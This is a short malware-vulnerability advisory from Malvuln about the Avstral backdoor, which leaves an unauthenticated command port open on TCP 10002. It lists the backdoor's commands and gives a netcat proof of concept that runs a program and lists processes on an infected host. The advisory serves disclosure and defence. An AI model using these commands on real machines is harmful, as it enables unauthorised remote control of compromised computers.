Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source: https://malvuln.com/advisory/35f0d754f161af35241cb081c73ea6dd.txt
Contact: malvuln13@gmail.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Avstral.e
Vulnerability: Unauthenticated Remote Command Execution
Family: Avstral
Type: PE32
MD5: 35f0d754f161af35241cb081c73ea6dd
Vuln ID: MVID-2022-0529
Dropped files: mssys.exe
Disclosure: 03/27/2022
Description: The malware listens on TCP port 10002. Third-party adversaries who can reach an infected host can run commands made available by the backdoor.

Commands.
RUNF
PROC
LIST
FIND
DELE
UPLF
DOWF

E.g. start calc.exe, RUNF"calc" 

Exploit/PoC:
C:\>nc64.exe x.x.x.x 10002
C:\WINDOWS
C:\WINDOWS\system32RUNF"calc"
Succesful
C:\WINDOWS\system32PROC
[System Process]
System
smss.exe
csrss.exe
wininit.exe
csrss.exe
winlogon.exe
services.exe
lsass.exe
fontdrvhost.exe
fontdrvhost.exe
svchost.exe
svchost.exe
dwm.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
Memory Compression
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
svchost.exe
spoolsv.exe
svchost.exe
sihost.exe
svchost.exe
svchost.exe
svchost.exe
VGAuthService.exe
vmtoolsd.exe
SecurityHealthService.exe
svchost.exe
taskhostw.exe
WmiPrvSE.exe
ctfmon.exe
explorer.exe
dllhost.exe
dllhost.exe
ShellExperienceHost.exe
SearchUI.exe
RuntimeBroker.exe
RuntimeBroker.exe
RuntimeBroker.exe
SearchIndexer.exe
msdtc.exe
VSSVC.exe
ProcessHacker.exe
vm3dservice.exe
vmtoolsd.exe
WmiPrvSE.exe
mssys.exe
explorer.exe
svchost.exe
explorer.exe
pestudio.exe
backgroundTaskHost.exe
WmiApSrv.exe
*************************************************************

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